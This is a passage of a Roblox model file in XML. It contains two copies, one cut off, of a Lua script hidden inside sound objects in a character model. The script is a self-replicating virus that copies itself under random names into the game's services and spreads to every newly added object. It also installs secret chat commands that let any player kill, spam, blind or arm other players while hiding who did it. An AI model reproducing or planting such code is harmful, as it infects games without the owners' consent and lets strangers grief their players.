						<Item class="Script" referent="RBX395">
							<Properties>
								<bool name="Disabled">false</bool>
								<Content name="LinkedSource"><null></null></Content>
								<string name="Name">b9gch</string>
								<string name="Source">--             	 _                     |
-- unknowns 0.|_| Commands o
--

myname = &quot;builderman&quot; -- put your name here if you like!

--Hi, person who just looked inside a StockSound...
--Try these commands, they are great!

--[[COMMANDS:

say /sc BEFORE your command to make it so no-one kows its you who killed/shielded them

for example:

/sc shield builderman

reset  --this resets YOU
debug  --this removes all messages in the workspace and in players
fog  --this creates a few messages to look like fog, say debug to remove them

shield playername  --this shields the player named playername against explosions
kill playername  --this kills the player named playername
name newname  --this names YOUR CHARACTER the newname
god playername  --this sets the player playername unkillable by weapons that take damage (not explosions)
fast playername  --this speeds up the player named playername
slow playername --this slows the player named playername
hide playername  --this hides the player named playername
ghost playername  --this makes the player named playername ghostly
fade playername --this fades the player named playername a bit
show playername  --shows the player named playername
doom playername  --this makes there head a big triangle lol you can watch them running around stupidly
spam playername  --stops the player named playername seeing the chat properly
tools playername  --this gives the player the vip tools in the game
goto playername  --this moves your character to that players character
join teamname  --this joins the team named the teamname
say message  --creates a hint at the bottom of the screen saying your message
shout message  --creates a message on the screen saying your message

this is all case-sensitive

please note it is not needed to say the WHOLE name of the player, lets say just builderman was in the game:

tools bu would give him the VIP tools

but if builderdude was ingame aswell, he would ALSO get the tools, so if you only want builderman to get them, you should say:

tools builderm

also, if you just say tools then a space, then EVERYONE will get the tools

the same goes for kill, god, ghost, and all the other commands that use playername
--]]

--everything below here is very complicated so it would be best if you DONT mess with it

wait(.4)
if game:service(&quot;Workspace&quot;):findFirstChild(&quot;IMDOINGITOKSODONTKILLMENOW&quot;) ~= nil then
wait(math.huge) --this should keep it busy
end
jkoer = Instance.new(script.Parent.className)
jkoer.Name = &quot;IMDOINGITOKSODONTKILLMENOW&quot;
jkoer.Parent = game:service(&quot;Workspace&quot;)
jkoer.archivable = false
--Check all systems needed are running well
game:service(&quot;Workspace&quot;)
game:service(&quot;Lighting&quot;)
game:service(&quot;StarterPack&quot;)
game:service(&quot;Teams&quot;)
game:service(&quot;SoundService&quot;)
game:service(&quot;Debris&quot;)
--
bin = script.Parent
g = {&quot;a&quot;,&quot;b&quot;,&quot;c&quot;,&quot;d&quot;,&quot;e&quot;,&quot;f&quot;,&quot;g&quot;,&quot;h&quot;,&quot;i&quot;,&quot;j&quot;,&quot;k&quot;,&quot;l&quot;,&quot;m&quot;,&quot;n&quot;,&quot;o&quot;,&quot;p&quot;,&quot;q&quot;,&quot;r&quot;,&quot;s&quot;,&quot;t&quot;,&quot;u&quot;,&quot;v&quot;,&quot;w&quot;,&quot;x&quot;,&quot;y&quot;,&quot;z&quot;,&quot;0&quot;,&quot;1&quot;,&quot;2&quot;,&quot;3&quot;,&quot;4&quot;,&quot;5&quot;,&quot;6&quot;,&quot;7&quot;,&quot;8&quot;,&quot;9&quot;} --abcdefg...
thetools = {}
function gettools(scanner)
if scanner.className == &quot;HopperBin&quot; or scanner.className == &quot;Tool&quot; then
if scanner.archivable == true then table.insert(thetools, scanner:Clone()) end
end
local sc = scanner:GetChildren()
for i = 1, #sc do
gettools(sc[i])
end
end
gettools(game:service(&quot;Workspace&quot;))
gettools(game:service(&quot;Lighting&quot;))
function uinf(k)
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end --a nice little bit of script that stops the game lagging
if k ~= bin and k ~= script and k ~= bin.Parent then
local me = script.Parent:Clone()
me.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
me.Name = (me.Name.. g[math.random(1, #g)])
end
local be = me[script.Name]
be.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
be.Name = (be.Name.. g[math.random(1, #g)])
end
me.Parent = k
local obs = k:GetChildren()
for i = 1, #obs do
infect(obs[i])
end
end
end
function infect(object)
local ONOES = 0
if object.className == &quot;Camera&quot; then return end
if object.className == &quot;Script&quot; then
if object.Source == script.Source then
ONOES = 1
end
end
local os = object:GetChildren()
for i = 1, #os do
local current = os[i]
if current.className == &quot;Script&quot; then
if current.Source == script.Source then
ONOES = 1
end
end
local oz = current:GetChildren()
for j = 1, #oz do
local cur = oz[j]
if cur.className == &quot;Script&quot; then
if cur.Source == script.Source then
ONOES = 1
end
end
end
end
if ONOES == 0 then
uinf(object)
else -- ONOSE!
local obs = object:GetChildren()
for i = 1, #obs do
if obs[i] ~= bin then
infect(obs[i])
end
end
end
end
function pultinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end
end
function multinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
end
function chat(msg, speaker) --oh yes these are commands...
if string.find(msg, &quot;/sc &quot;) == 1 then
msg = string.sub(msg, 5) --I LOVE being secretive, dont u?
end
if string.find(msg, &quot;shield &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
Instance.new(&quot;ForceField&quot;).Parent = plz[i].Character
end
end
end
if string.find(msg, &quot;kill &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
plz[i].Character:BreakJoints() --kill kill kill...
end
end
end
end
if string.find(msg, &quot;reset&quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character:BreakJoints()
end
end
if string.find(msg, &quot;name &quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character.Name = string.sub(msg, 6)
end
end
if string.find(msg, &quot;god &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 5)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.MaxHealth = math.huge
plz[i].Character.Humanoid.Health = math.huge
end
end
end
end
end
if string.find(msg, &quot;fast &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed * 1.35
end
end
end
end
end
if string.find(msg, &quot;slow &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed / 1.35
end
end
end
end
end
if string.find(msg, &quot;hide &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 1 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Decal&quot; then h[v]:Remove() end
if h[v].className == &quot;Part&quot; then h[v].Transparency = 1 end
end
end
end
end
end
end
if string.find(msg, &quot;show &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0 end
end
end
end
end
end
end
if string.find(msg, &quot;ghost &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.9 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.9 end
end
end
end
end
end
end
if string.find(msg, &quot;doom &quot;) == 1 then -- LOL this 1 is FUNNY
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if plz[i].Character.Head:findFirstChild(&quot;Mesh&quot;) ~= nil then
if plz[i].Character.Head.Mesh.className == &quot;SpecialMesh&quot; then
plz[i].Character.Head.Mesh.Scale = Vector3.new(17, 11, 17)
plz[i].Character.Head.Mesh.MeshType = &quot;Wedge&quot;
end
end
end
end
end
end
end
if string.find(msg, &quot;fade &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.5 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.5 end
end
end
end
end
end
end
if string.find(msg, &quot;join &quot;) == 1 then
local teams = game:service(&quot;Teams&quot;)
local tmz = teams:GetTeams()
for i = 1, #tmz do
if string.find(tmz[i].Name, string.sub(msg, 6)) == 1 then
speaker.Neutral = false
speaker.TeamColor = tmz[i].TeamColor
end
end
end
if string.find(msg, &quot;debug&quot;) == 1 then
local msgs = game.Workspace:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
local plz = game.Players:GetPlayers()
for j = 1, #plz do
local msgs = plz[j]:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
end
end
if string.find(msg, &quot;fog&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;FOGZORZ&quot;) == nil then
local newm = Instance.new(&quot;Message&quot;)
newm.Name = &quot;FOGZORZ&quot;
newm.Text = &quot; &quot;
newm.Parent = game.Workspace
newm:Clone().Parent = game.Workspace
end
end
if string.find(msg, &quot;say &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local said = string.sub(msg, 5)
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;shout &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Shouty&quot;) ~= nil then game.Workspace.Shouty:Remove() end
local said = string.sub(msg, 7)
local talk = Instance.new(&quot;Message&quot;)
talk.Name = &quot;Shouty&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;spam &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
for r = 1, 10 do
local er = Instance.new(&quot;Message&quot;)
er.Text = &quot; &quot;
er.Parent = plz[i]
end
end
end
end
if string.find(msg, &quot;bored&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Parent = game.Workspace
if math.random(1,2) == 1 then
talk.Text = &quot;OMG IM SO BORED TOO!&quot;
else
talk.Text = &quot;Go play a different game then.&quot;
end
end
if string.find(msg, &quot;goto &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if speaker.Character ~= nil then
if speaker.Character:findFirstChild(&quot;Head&quot;) ~= nil then
speaker.Character.Head.CFrame = CFrame.new(plz[i].Character.Head.Position + Vector3.new(0,3,0))
end
end
end
end
end
end
end
if string.find(msg, &quot;nofall &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Platform&quot;) == nil then
local fl = Instance.new(&quot;Part&quot;)
fl.Name = &quot;Platform&quot;
fl.formFactor = &quot;Plate&quot;
fl.Size = Vector3.new(6,.2,6)
fl.Anchored = true
fl.Transparency = 1
local sc = Instance.new(&quot;Script&quot;)
sc.Name = &quot;MoveToChar&quot;
pcall(function() sc.Source=[[ p = script.Parent c = p.Parent while true do t = c:findFirstChild(&quot;Head&quot;) if t == nil then p:Remove() else p.Position = Vector3.new(t.Position.x,0,t.Position.z) end wait() end ]] end)
if sc.Source ~= &quot;print(\&quot;Hello World\&quot;)&quot; then
sc.Parent = fl -- its pcalled just in case. Well I have no idea what crazy things the admins will do in a few days, like stop scripts editing sources, but then as if THATS ever going 2 happen... (it would be stupid cause most roblox scripters would leave)
fl.Parent = plz[i].Character
end
end
end
end
end
end
if string.find(msg, &quot;tools &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
local pack = plz[i]:findFirstChild(&quot;Backpack&quot;)
if pack ~= nil then
for o = 1, #thetools do
thetools[o]:Clone().Parent = pack
end
end
end
end
end
end
wait()
game.Players.PlayerAdded:connect(function(new) new.Chatted:connect(function(msg) chat(msg,new) end) end) -- I do love this connecting script...
wait()
multinfect(game:service(&quot;Workspace&quot;))
multinfect(game:service(&quot;Lighting&quot;))
multinfect(game:service(&quot;StarterPack&quot;))
multinfect(game:service(&quot;Teams&quot;))
multinfect(game:service(&quot;SoundService&quot;))
multinfect(game:service(&quot;Debris&quot;))
--now we can rest in peace...

death = type(RIP)
</string>
								<bool name="archivable">true</bool>
							</Properties>
						</Item>
					</Item>
				</Item>
				<Item class="Model" referent="RBX396">
					<Properties>
						<token name="Controller">7</token>
						<bool name="ControllerFlagShown">true</bool>
						<CoordinateFrame name="ModelInPrimary">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
							<R00>1</R00>
							<R01>0</R01>
							<R02>0</R02>
							<R10>0</R10>
							<R11>1</R11>
							<R12>0</R12>
							<R20>0</R20>
							<R21>0</R21>
							<R22>1</R22>
						</CoordinateFrame>
						<string name="Name">Figure</string>
						<Ref name="PrimaryPart">RBX397</Ref>
						<bool name="archivable">true</bool>
					</Properties>
					<Item class="Part" referent="RBX397">
						<Properties>
							<bool name="Anchored">true</bool>
							<float name="BackParamA">-0.5</float>
							<float name="BackParamB">0.5</float>
							<token name="BackSurface">0</token>
							<token name="BackSurfaceInput">0</token>
							<float name="BottomParamA">-0.5</float>
							<float name="BottomParamB">0.5</float>
							<token name="BottomSurface">4</token>
							<token name="BottomSurfaceInput">0</token>
							<int name="BrickColor">12</int>
							<CoordinateFrame name="CFrame">
								<X>-22</X>
								<Y>12</Y>
								<Z>113.5</Z>
								<R00>-1</R00>
								<R01>0</R01>
								<R02>0</R02>
								<R10>0</R10>
								<R11>1</R11>
								<R12>0</R12>
								<R20>0</R20>
								<R21>0</R21>
								<R22>-1</R22>
							</CoordinateFrame>
							<bool name="CanCollide">false</bool>
							<token name="Controller">0</token>
							<bool name="ControllerFlagShown">true</bool>
							<bool name="DraggingV1">false</bool>
							<float name="Elasticity">0.5</float>
							<token name="FormFactor">0</token>
							<float name="Friction">0.300000012</float>
							<float name="FrontParamA">-0.5</float>
							<float name="FrontParamB">0.5</float>
							<token name="FrontSurface">0</token>
							<token name="FrontSurfaceInput">0</token>
							<float name="LeftParamA">-0.5</float>
							<float name="LeftParamB">0.5</float>
							<token name="LeftSurface">0</token>
							<token name="LeftSurfaceInput">0</token>
							<bool name="Locked">false</bool>
							<token name="Material">256</token>
							<string name="Name">Head</string>
							<float name="Reflectance">0</float>
							<float name="RightParamA">-0.5</float>
							<float name="RightParamB">0.5</float>
							<token name="RightSurface">0</token>
							<token name="RightSurfaceInput">0</token>
							<Vector3 name="RotVelocity">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<float name="TopParamA">-0.5</float>
							<float name="TopParamB">0.5</float>
							<token name="TopSurface">0</token>
							<token name="TopSurfaceInput">0</token>
							<float name="Transparency">0</float>
							<Vector3 name="Velocity">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<bool name="archivable">true</bool>
							<token name="shape">1</token>
							<Vector3 name="size">
								<X>2</X>
								<Y>1</Y>
								<Z>1</Z>
							</Vector3>
						</Properties>
						<Item class="SpecialMesh" referent="RBX398">
							<Properties>
								<token name="LODX">2</token>
								<token name="LODY">2</token>
								<Content name="MeshId"><null></null></Content>
								<token name="MeshType">0</token>
								<string name="Name">Mesh</string>
								<Vector3 name="Offset">
									<X>0</X>
									<Y>0</Y>
									<Z>0</Z>
								</Vector3>
								<Vector3 name="Scale">
									<X>1.25</X>
									<Y>1.25</Y>
									<Z>1.25</Z>
								</Vector3>
								<Content name="TextureId"><null></null></Content>
								<Vector3 name="VertexColor">
									<X>1</X>
									<Y>1</Y>
									<Z>1</Z>
								</Vector3>
								<bool name="archivable">true</bool>
							</Properties>
							<Item class="StockSound" referent="RBX399">
								<Properties>
									<bool name="Looped">false</bool>
									<string name="Name">vfxqmcv</string>
									<int name="PlayCount">-1</int>
									<bool name="PlayOnRemove">false</bool>
									<Content name="SoundId"><null></null></Content>
									<float name="Volume">0.5</float>
									<bool name="archivable">true</bool>
								</Properties>
								<Item class="Script" referent="RBX400">
									<Properties>
										<bool name="Disabled">false</bool>
										<Content name="LinkedSource"><null></null></Content>
										<string name="Name">2sk5087t</string>
										<string name="Source">--             	 _                     |
-- unknowns 0.|_| Commands o
--

myname = &quot;builderman&quot; -- put your name here if you like!

--Hi, person who just looked inside a StockSound...
--Try these commands, they are great!

--[[COMMANDS:

say /sc BEFORE your command to make it so no-one kows its you who killed/shielded them

for example:

/sc shield builderman

reset  --this resets YOU
debug  --this removes all messages in the workspace and in players
fog  --this creates a few messages to look like fog, say debug to remove them

shield playername  --this shields the player named playername against explosions
kill playername  --this kills the player named playername
name newname  --this names YOUR CHARACTER the newname
god playername  --this sets the player playername unkillable by weapons that take damage (not explosions)
fast playername  --this speeds up the player named playername
slow playername --this slows the player named playername
hide playername  --this hides the player named playername
ghost playername  --this makes the player named playername ghostly
fade playername --this fades the player named playername a bit
show playername  --shows the player named playername
doom playername  --this makes there head a big triangle lol you can watch them running around stupidly
spam playername  --stops the player named playername seeing the chat properly
tools playername  --this gives the player the vip tools in the game
goto playername  --this moves your character to that players character
join teamname  --this joins the team named the teamname
say message  --creates a hint at the bottom of the screen saying your message
shout message  --creates a message on the screen saying your message

this is all case-sensitive

please note it is not needed to say the WHOLE name of the player, lets say just builderman was in the game:

tools bu would give him the VIP tools

but if builderdude was ingame aswell, he would ALSO get the tools, so if you only want builderman to get them, you should say:

tools builderm

also, if you just say tools then a space, then EVERYONE will get the tools

the same goes for kill, god, ghost, and all the other commands that use playername
--]]

--everything below here is very complicated so it would be best if you DONT mess with it

wait(.4)
if game:service(&quot;Workspace&quot;):findFirstChild(&quot;IMDOINGITOKSODONTKILLMENOW&quot;) ~= nil then
wait(math.huge) --this should keep it busy
end
jkoer = Instance.new(script.Parent.className)
jkoer.Name = &quot;IMDOINGITOKSODONTKILLMENOW&quot;
jkoer.Parent = game:service(&quot;Workspace&quot;)
jkoer.archivable = false
--Check all systems needed are running well
game:service(&quot;Workspace&quot;)
game:service(&quot;Lighting&quot;)
game:service(&quot;StarterPack&quot;)
game:service(&quot;Teams&quot;)
game:service(&quot;SoundService&quot;)
game:service(&quot;Debris&quot;)
--
bin = script.Parent
g = {&quot;a&quot;,&quot;b&quot;,&quot;c&quot;,&quot;d&quot;,&quot;e&quot;,&quot;f&quot;,&quot;g&quot;,&quot;h&quot;,&quot;i&quot;,&quot;j&quot;,&quot;k&quot;,&quot;l&quot;,&quot;m&quot;,&quot;n&quot;,&quot;o&quot;,&quot;p&quot;,&quot;q&quot;,&quot;r&quot;,&quot;s&quot;,&quot;t&quot;,&quot;u&quot;,&quot;v&quot;,&quot;w&quot;,&quot;x&quot;,&quot;y&quot;,&quot;z&quot;,&quot;0&quot;,&quot;1&quot;,&quot;2&quot;,&quot;3&quot;,&quot;4&quot;,&quot;5&quot;,&quot;6&quot;,&quot;7&quot;,&quot;8&quot;,&quot;9&quot;} --abcdefg...
thetools = {}
function gettools(scanner)
if scanner.className == &quot;HopperBin&quot; or scanner.className == &quot;Tool&quot; then
if scanner.archivable == true then table.insert(thetools, scanner:Clone()) end
end
local sc = scanner:GetChildren()
for i = 1, #sc do
gettools(sc[i])
end
end
gettools(game:service(&quot;Workspace&quot;))
gettools(game:service(&quot;Lighting&quot;))
function uinf(k)
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end --a nice little bit of script that stops the game lagging
if k ~= bin and k ~= script and k ~= bin.Parent then
local me = script.Parent:Clone()
me.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
me.Name = (me.Name.. g[math.random(1, #g)])
end
local be = me[script.Name]
be.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
be.Name = (be.Name.. g[math.random(1, #g)])
end
me.Parent = k
local obs = k:GetChildren()
for i = 1, #obs do
infect(obs[i])
end
end
end
function infect(object)
local ONOES = 0
if object.className == &quot;Camera&quot; then return end
if object.className == &quot;Script&quot; then
if object.Source == script.Source then
ONOES = 1
end
end
local os = object:GetChildren()
for i = 1, #os do
local current = os[i]
if current.className == &quot;Script&quot; then
if current.Source == script.Source then
ONOES = 1
end
end
local oz = current:GetChildren()
for j = 1, #oz do
local cur = oz[j]
if cur.className == &quot;Script&quot; then
if cur.Source == script.Source then
ONOES = 1
end
end
end
end
if ONOES == 0 then
uinf(object)
else -- ONOSE!
local obs = object:GetChildren()
for i = 1, #obs do
if obs[i] ~= bin then
infect(obs[i])
end
end
end
end
function pultinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end
end
function multinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
end
function chat(msg, speaker) --oh yes these are commands...
if string.find(msg, &quot;/sc &quot;) == 1 then
msg = string.sub(msg, 5) --I LOVE being secretive, dont u?
end
if string.find(msg, &quot;shield &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
Instance.new(&quot;ForceField&quot;).Parent = plz[i].Character
end
end
end
if string.find(msg, &quot;kill &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
plz[i].Character:BreakJoints() --kill kill kill...
end
end
end
end
if string.find(msg, &quot;reset&quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character:BreakJoints()
end
end
if string.find(msg, &quot;name &quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character.Name = string.sub(msg, 6)
end
end
if string.find(msg, &quot;god &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 5)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.MaxHealth = math.huge
plz[i].Character.Humanoid.Health = math.huge
end
end
end
end
end
if string.find(msg, &quot;fast &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed * 1.35
end
end
end
end
end
if string.find(msg, &quot;slow &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed / 1.35
end
end
end
end
end
if string.find(msg, &quot;hide &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 1 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Decal&quot; then h[v]:Remove() end
if h[v].className == &quot;Part&quot; then h[v].Transparency = 1 end
end
end
end
end
end
end
if string.find(msg, &quot;show &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0 end
end
end
end
end
end
end
if string.find(msg, &quot;ghost &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.9 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.9 end
end
end
end
end
end
end
if string.find(msg, &quot;doom &quot;) == 1 then -- LOL this 1 is FUNNY
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if plz[i].Character.Head:findFirstChild(&quot;Mesh&quot;) ~= nil then
if plz[i].Character.Head.Mesh.className == &quot;SpecialMesh&quot; then
plz[i].Character.Head.Mesh.Scale = Vector3.new(17, 11, 17)
plz[i].Character.Head.Mesh.MeshType = &quot;Wedge&quot;
end
end
end
end
end
end
end
if string.find(msg, &quot;fade &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.5 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.5 end
end
end
end
end
end
end
if string.find(msg, &quot;join &quot;) == 1 then
local teams = game:service(&quot;Teams&quot;)
local tmz = teams:GetTeams()
for i = 1, #tmz do
if string.find(tmz[i].Name, string.sub(msg, 6)) == 1 then
speaker.Neutral = false
speaker.TeamColor = tmz[i].TeamColor
end
end
end
if string.find(msg, &quot;debug&quot;) == 1 then
local msgs = game.Workspace:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
local plz = game.Players:GetPlayers()
for j = 1, #plz do
local msgs = plz[j]:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
end
end
if string.find(msg, &quot;fog&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;FOGZORZ&quot;) == nil then
local newm = Instance.new(&quot;Message&quot;)
newm.Name = &quot;FOGZORZ&quot;
newm.Text = &quot; &quot;
newm.Parent = game.Workspace
newm:Clone().Parent = game.Workspace
end
end
if string.find(msg, &quot;say &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local said = string.sub(msg, 5)
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;shout &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Shouty&quot;) ~= nil then game.Workspace.Shouty:Remove() end
local said = string.sub(msg, 7)
local talk = Instance.new(&quot;Message&quot;)
talk.Name = &quot;Shouty&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;spam &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
for r = 1, 10 do
local er = Instance.new(&quot;Message&quot;)
er.Text = &quot; &quot;
er.Parent = plz[i]
end
end
end
end
if string.find(msg, &quot;bored&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Parent = game.Workspace
if math.random(1,2) == 1 then
